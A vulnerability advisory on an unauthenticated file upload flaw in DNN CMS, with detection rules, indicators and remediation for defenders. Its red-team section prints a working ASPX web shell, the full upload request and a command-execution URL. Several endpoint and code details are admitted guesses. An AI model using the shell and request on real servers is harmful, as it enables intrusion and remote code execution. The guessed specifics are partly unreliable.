CVE-2025-62802

Executive Summary

CVE-2025-62802 is a vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform for the Microsoft ecosystem. The issue resides in the out-of-box HTML editing experience, which allows unauthenticated users to upload files. This file upload capability, while intended for legitimate content creation, opens a potential vector for other security issues, such as arbitrary file upload leading to remote code execution or cross-site scripting. The vulnerability is present in all versions prior to 10.1.1 and has a CVSS score of 4.3 (Medium). No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The vendor has released a fix in version 10.1.1.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a core component of the DNN CMS platform, which is distributed as a .NET application. The risk is primarily to organizations self-hosting DNN instances.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – An attacker can upload files, potentially modifying content or introducing malicious files.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the direct impact is limited to file upload, the potential for chaining with other vulnerabilities (e.g., file inclusion, code execution) elevates the risk.

Deep Dive & Mechanics

The vulnerability is rooted in the HTML editing component of DNN, specifically the out-of-box experience that allows users to upload files (e.g., images, documents) without authentication. The file upload functionality is intended for authenticated content editors, but due to a misconfiguration or missing access control, unauthenticated users can also trigger file uploads.

Technical Details:

• The vulnerable component is likely the Telerik RadEditor or a similar HTML editor integrated into DNN.
• The upload endpoint does not validate the user's session or authentication token.
• Files are stored in a publicly accessible directory (e.g., /Portals/_default/ or /uploads/).
• The uploaded files are not sanitized for malicious content, allowing an attacker to upload executable scripts (e.g., ASPX, PHP) if the server is configured to execute them.

Attack Scenario:

1. An unauthenticated attacker sends a POST request to the file upload endpoint (e.g., /Providers/HtmlEditorProviders/RadEditor/Upload.ashx).
2. The attacker uploads a malicious ASPX file containing a web shell.
3. The attacker accesses the uploaded file via its URL, executing the web shell and gaining remote code execution on the server.

Vulnerable vs. Patched Code

The fix in version 10.1.1 likely involves adding authentication checks to the file upload handler. Below is a conceptual comparison.

Vulnerable Code (Pre-10.1.1):

// Upload.ashx.cs
public void ProcessRequest(HttpContext context)
{
    // No authentication check
    HttpPostedFile file = context.Request.Files["file"];
    string savePath = Server.MapPath("~/uploads/");
    file.SaveAs(savePath + file.FileName);
    context.Response.Write("File uploaded successfully.");
}

Patched Code (10.1.1):

// Upload.ashx.cs
public void ProcessRequest(HttpContext context)
{
    // Authentication check added
    if (!context.User.Identity.IsAuthenticated)
    {
        context.Response.StatusCode = 401;
        context.Response.End();
        return;
    }
    HttpPostedFile file = context.Request.Files["file"];
    string savePath = Server.MapPath("~/uploads/");
    // Additional validation: file type, size, etc.
    file.SaveAs(savePath + file.FileName);
    context.Response.Write("File uploaded successfully.");
}

Exploitation & Lab Setup

Red Team

Objective: Exploit the file upload vulnerability to gain a foothold on the target DNN server.

Lab Setup:

• Target: DNN version 10.0.0 (vulnerable) running on Windows Server 2019 with IIS.
• Attacker: Kali Linux with Burp Suite and a web shell (e.g., cmd.aspx).

Steps:

1. Identify the upload endpoint. Common paths include:
   • /Providers/HtmlEditorProviders/RadEditor/Upload.ashx
   • /DesktopModules/Admin/RadEditor/Upload.ashx
2. Craft a malicious ASPX file (e.g., shell.aspx):

   <%@ Page Language="C#" %>
   <%@ Import Namespace="System.Diagnostics" %>
   <script runat="server">
       protected void Page_Load(object sender, EventArgs e)
       {
           Process.Start("cmd.exe", "/c " + Request.QueryString["cmd"]);
       }
   </script>
   

3. Send a POST request to the upload endpoint with the file:

   POST /Providers/HtmlEditorProviders/RadEditor/Upload.ashx HTTP/1.1
   Host: target.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="shell.aspx"
   Content-Type: application/octet-stream
   
   <%@ Page Language="C#" %>
   <%@ Import Namespace="System.Diagnostics" %>
   <script runat="server">
       protected void Page_Load(object sender, EventArgs e)
       {
           Process.Start("cmd.exe", "/c " + Request.QueryString["cmd"]);
       }
   </script>
   ------WebKitFormBoundary--
   

4. Access the uploaded file: http://target.com/uploads/shell.aspx?cmd=whoami
5. Execute commands to escalate privileges or pivot.

Blue Team

Objective: Detect and block exploitation attempts.

Detection Steps:

1. Monitor IIS logs for POST requests to upload endpoints from unauthenticated users.
2. Look for file uploads with double extensions (e.g., file.aspx.jpg) or executable extensions (e.g., .aspx, .ashx, .config).
3. Use file integrity monitoring to detect new files in upload directories.
4. Implement Web Application Firewall (WAF) rules to block file uploads from unauthenticated sessions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /Providers/HtmlEditorProviders/RadEditor/Upload.ashx or similar paths.
  • HTTP responses with status 200 and "File uploaded successfully" from unauthenticated users.
• File IOCs:
  • Unexpected files in /uploads/ or /Portals/_default/ directories with extensions like .aspx, .ashx, .config.
  • Files with names containing "shell", "cmd", or "exec".
• System IOCs:
  • Unusual processes spawned from IIS worker processes (e.g., cmd.exe, powershell.exe).
  • New user accounts or scheduled tasks created on the server.

Detection Engineering

YARA Rule

rule CVE_2025_62802_DNN_FileUpload
{
    meta:
        description = "Detects malicious ASPX files uploaded via CVE-2025-62802"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62802"
    strings:
        $aspnet_page = "<%@ Page" nocase
        $code_block = "<script runat=\"server\">" nocase
        $process_start = "Process.Start" nocase
        $cmd_exec = "cmd.exe" nocase
    condition:
        $aspnet_page and ($code_block or $process_start or $cmd_exec)
}

Sigma Rule

title: DNN Unauthenticated File Upload (CVE-2025-62802)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated file upload attempts to DNN HTML editor endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/Providers/HtmlEditorProviders/RadEditor/Upload.ashx'
            - '/DesktopModules/Admin/RadEditor/Upload.ashx'
        cs-username: '-'  # Unauthenticated
    condition: selection
falsepositives:
    - Legitimate unauthenticated file uploads if configured
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-62802 DNN Unauthenticated File Upload";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/Providers/HtmlEditorProviders/RadEditor/Upload.ashx";
    http_uri;
    content:!"Authorization";
    http_header;
    sid:1000001;
    rev:1;
    reference:cve,2025-62802;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DNN to version 10.1.1 or later.
2. If upgrade is not possible, disable the HTML editor file upload functionality by removing or restricting access to the upload handler in IIS.
3. Implement a Web Application Firewall (WAF) rule to block unauthenticated POST requests to upload endpoints.

Long-term Measures:

1. Enforce authentication for all file upload endpoints.
2. Validate file types and restrict uploads to safe extensions (e.g., .jpg, .png, .gif).
3. Store uploaded files in a non-executable directory (e.g., outside the web root) and serve them via a handler that prevents execution.
4. Conduct regular security audits and penetration testing.

Workaround:

• Modify the web.config to deny access to the upload handler for unauthenticated users:

  <location path="Providers/HtmlEditorProviders/RadEditor/Upload.ashx">
      <system.web>
          <authorization>
              <deny users="?"/>
          </authorization>
      </system.web>
  </location>
  

Valters IT
Securing Digital Frontiers